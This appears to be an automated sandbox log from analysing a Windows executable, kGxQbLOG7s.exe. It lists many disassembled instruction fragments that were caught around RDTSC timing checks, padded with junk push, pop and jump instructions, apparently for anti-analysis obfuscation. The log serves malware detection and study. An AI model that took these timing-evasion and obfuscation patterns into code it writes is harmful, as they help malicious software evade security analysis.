Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB040F second address: 6EB0452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007FDEF8F4076Eh 0x00000010 test esi, esi 0x00000012 jmp 00007FDEF8F40770h 0x00000017 je 00007FDF6902F9C8h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0452 second address: 6EB0456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0456 second address: 6EB045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB045A second address: 6EB0460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0460 second address: 6EB0491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDEF8F40773h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0491 second address: 6EB0495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0495 second address: 6EB049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB049B second address: 6EB04A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB04A1 second address: 6EB04E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi], edi 0x0000000d jmp 00007FDEF8F40770h 0x00000012 mov dword ptr [esi+04h], eax 0x00000015 jmp 00007FDEF8F40770h 0x0000001a mov dword ptr [esi+08h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB04E3 second address: 6EB04E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB04E7 second address: 6EB04ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB04ED second address: 6EB050E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+0Ch], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB050E second address: 6EB0512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0512 second address: 6EB0518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0518 second address: 6EB051E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB051E second address: 6EB0522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0522 second address: 6EB0526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0526 second address: 6EB0539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+4Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, FFC1h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0539 second address: 6EB057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40777h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+10h], eax 0x0000000c jmp 00007FDEF8F40776h 0x00000011 mov eax, dword ptr [ebx+50h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDEF8F4076Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB057E second address: 6EB0582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0582 second address: 6EB0588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0588 second address: 6EB05DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDEF8F19BBCh 0x00000009 sub ax, E098h 0x0000000e jmp 00007FDEF8F19BBBh 0x00000013 popfd 0x00000014 mov cx, 964Fh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esi+14h], eax 0x0000001e pushad 0x0000001f pushad 0x00000020 movzx eax, dx 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 mov dh, DAh 0x00000028 popad 0x00000029 mov eax, dword ptr [ebx+54h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FDEF8F19BC7h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB05DA second address: 6EB05F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F40774h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB05F2 second address: 6EB05F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB05F6 second address: 6EB0611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+18h], eax 0x0000000b pushad 0x0000000c mov bl, 2Ch 0x0000000e push ecx 0x0000000f push edx 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 popad 0x00000013 mov eax, dword ptr [ebx+58h] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0611 second address: 6EB0622 instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [esi+1Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0622 second address: 6EB0635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDEF8F4076Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0635 second address: 6EB06A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [ebx+5Ch] 0x0000000a jmp 00007FDEF8F19BBEh 0x0000000f mov dword ptr [esi+20h], eax 0x00000012 pushad 0x00000013 call 00007FDEF8F19BBEh 0x00000018 pop edi 0x00000019 pushfd 0x0000001a jmp 00007FDEF8F19BBEh 0x0000001f add ax, 2ED8h 0x00000024 jmp 00007FDEF8F19BBBh 0x00000029 popfd 0x0000002a popad 0x0000002b mov eax, dword ptr [ebx+60h] 0x0000002e jmp 00007FDEF8F19BC6h 0x00000033 mov dword ptr [esi+24h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov ecx, edi 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB06A3 second address: 6EB06E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 248B7167h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [ebx+64h] 0x00000010 jmp 00007FDEF8F40778h 0x00000015 mov dword ptr [esi+28h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDEF8F40777h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB06E7 second address: 6EB073F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+68h] 0x0000000c jmp 00007FDEF8F19BBEh 0x00000011 mov dword ptr [esi+2Ch], eax 0x00000014 pushad 0x00000015 mov si, C25Dh 0x00000019 mov ah, 27h 0x0000001b popad 0x0000001c mov ax, word ptr [ebx+6Ch] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDEF8F19BC7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB073F second address: 6EB0745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0745 second address: 6EB076F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+30h], ax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edx, 5BC22C60h 0x00000015 mov edx, 0C8DAE8Ch 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB076F second address: 6EB081B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40772h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, word ptr [ebx+00000088h] 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDEF8F4076Eh 0x00000017 adc ecx, 3611C1D8h 0x0000001d jmp 00007FDEF8F4076Bh 0x00000022 popfd 0x00000023 call 00007FDEF8F40778h 0x00000028 jmp 00007FDEF8F40772h 0x0000002d pop esi 0x0000002e popad 0x0000002f mov word ptr [esi+32h], ax 0x00000033 jmp 00007FDEF8F40771h 0x00000038 mov eax, dword ptr [ebx+0000008Ch] 0x0000003e pushad 0x0000003f jmp 00007FDEF8F4076Ch 0x00000044 mov ah, D6h 0x00000046 popad 0x00000047 mov dword ptr [esi+34h], eax 0x0000004a pushad 0x0000004b mov bx, 3F5Eh 0x0000004f mov dx, F36Ah 0x00000053 popad 0x00000054 mov eax, dword ptr [ebx+18h] 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB081B second address: 6EB081F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB081F second address: 6EB0823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0823 second address: 6EB0829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0829 second address: 6EB0872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDEF8F4076Bh 0x00000009 xor cx, C4BEh 0x0000000e jmp 00007FDEF8F40779h 0x00000013 popfd 0x00000014 mov bx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esi+38h], eax 0x0000001d jmp 00007FDEF8F4076Ah 0x00000022 mov eax, dword ptr [ebx+1Ch] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0872 second address: 6EB087C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 284EA6CEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB087C second address: 6EB088B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F4076Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB09F9 second address: 6EB09FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB09FD second address: 6EB0A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0A1A second address: 6EB0A65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDEF8F19BBCh 0x00000012 or al, 00000068h 0x00000015 jmp 00007FDEF8F19BBBh 0x0000001a popfd 0x0000001b push ecx 0x0000001c mov cx, bx 0x0000001f pop edx 0x00000020 popad 0x00000021 test edi, edi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FDEF8F19BBDh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0A65 second address: 6EB0AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushfd 0x00000007 jmp 00007FDEF8F40773h 0x0000000c and esi, 4227920Eh 0x00000012 jmp 00007FDEF8F40779h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b js 00007FDF6902F387h 0x00000021 jmp 00007FDEF8F4076Eh 0x00000026 mov eax, dword ptr [ebp-0Ch] 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FDEF8F4076Eh 0x00000030 sbb cl, FFFFFFB8h 0x00000033 jmp 00007FDEF8F4076Bh 0x00000038 popfd 0x00000039 mov dx, cx 0x0000003c popad 0x0000003d mov dword ptr [esi+04h], eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FDEF8F4076Ch 0x00000049 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0AEF second address: 6EB0AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0AF3 second address: 6EB0AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0AF9 second address: 6EB0B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BBDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0B0A second address: 6EB0B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0B0E second address: 6EB0B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebx+78h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, 1ED5h 0x00000012 pushfd 0x00000013 jmp 00007FDEF8F19BC2h 0x00000018 sub ah, FFFFFFA8h 0x0000001b jmp 00007FDEF8F19BBBh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0B43 second address: 6EB0B71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDEF8F4076Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0B71 second address: 6EB0BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 call 00007FDEF8F19BC3h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov di, si 0x00000013 push eax 0x00000014 push edx 0x00000015 call 00007FDEF8F19BBCh 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0BA1 second address: 6EB0BB7 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 2686h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movzx esi, bx 0x00000012 movsx edi, ax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0BB7 second address: 6EB0BE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-08h] 0x0000000c jmp 00007FDEF8F19BBEh 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bl, C6h 0x00000017 movzx esi, dx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0BE3 second address: 6EB0BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0BE9 second address: 6EB0BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0BED second address: 6EB0BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0BF1 second address: 6EB0C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDEF8F19BC4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0C10 second address: 6EB0C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0C16 second address: 6EB0C4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDEF8F19BC2h 0x00000012 add ecx, 04536848h 0x00000018 jmp 00007FDEF8F19BBBh 0x0000001d popfd 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0CF8 second address: 6EB0CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0CFC second address: 6EB0D02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0D02 second address: 6EB0D59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDEF8F40776h 0x00000009 adc ax, 5758h 0x0000000e jmp 00007FDEF8F4076Bh 0x00000013 popfd 0x00000014 jmp 00007FDEF8F40778h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov dword ptr [esi+08h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDEF8F4076Ah 0x00000028 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0D59 second address: 6EB0D68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0D68 second address: 6EB0E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+70h] 0x0000000c pushad 0x0000000d mov ax, 6363h 0x00000011 mov edx, esi 0x00000013 popad 0x00000014 push 00000001h 0x00000016 pushad 0x00000017 pushad 0x00000018 call 00007FDEF8F4076Eh 0x0000001d pop eax 0x0000001e pushfd 0x0000001f jmp 00007FDEF8F4076Bh 0x00000024 add ch, 0000003Eh 0x00000027 jmp 00007FDEF8F40779h 0x0000002c popfd 0x0000002d popad 0x0000002e mov esi, 4469BD87h 0x00000033 popad 0x00000034 nop 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FDEF8F4076Fh 0x0000003c adc al, 0000004Eh 0x0000003f jmp 00007FDEF8F40779h 0x00000044 popfd 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 mov bx, 1562h 0x0000004c mov si, di 0x0000004f popad 0x00000050 nop 0x00000051 pushad 0x00000052 mov ax, di 0x00000055 push eax 0x00000056 push edx 0x00000057 mov cl, bl 0x00000059 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0E16 second address: 6EB0E6D instructions: 0x00000000 rdtsc 0x00000002 mov si, 4055h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c pushad 0x0000000d mov ecx, 11D6250Dh 0x00000012 pushfd 0x00000013 jmp 00007FDEF8F19BBAh 0x00000018 and eax, 44AD6728h 0x0000001e jmp 00007FDEF8F19BBBh 0x00000023 popfd 0x00000024 popad 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FDEF8F19BBBh 0x0000002f jmp 00007FDEF8F19BC3h 0x00000034 popfd 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0E6D second address: 6EB0E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0E73 second address: 6EB0E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0E77 second address: 6EB0E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0E7B second address: 6EB0E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDEF8F19BC3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB0ED0 second address: 6EB0F15 instructions: 0x00000000 rdtsc 0x00000002 mov di, A4BCh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 mov bx, 3B66h 0x0000000d movsx edi, ax 0x00000010 popad 0x00000011 popad 0x00000012 mov edi, eax 0x00000014 jmp 00007FDEF8F40776h 0x00000019 test edi, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDEF8F40777h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1030 second address: 6EB1085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDEF8F19BBEh 0x00000012 add cx, 8AC8h 0x00000017 jmp 00007FDEF8F19BBBh 0x0000001c popfd 0x0000001d jmp 00007FDEF8F19BC8h 0x00000022 popad 0x00000023 mov eax, dword ptr [esi+04h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1085 second address: 6EB1089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
